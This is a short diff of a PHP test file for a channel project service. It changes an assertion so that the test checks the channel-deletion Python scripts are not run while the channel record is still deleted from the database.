-471,12 +462,11 @@ class ChannelProjectServiceTest extends TestCase ->assertOk() ->assertJsonPath('code', 0); - Process::assertRan(function ($process) { + Process::assertDidntRun(function ($process) { $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command; return str_contains($joined, 'delete_channel.py') - && str_contains($joined, 'abcd1234') - && ! str_contains($joined, 'delete_channel_web.py'); + || str_contains($joined, 'delete_channel_web.py'); }); $this->assertDatabaseMissing('channels', ['id' => $channel->id]); }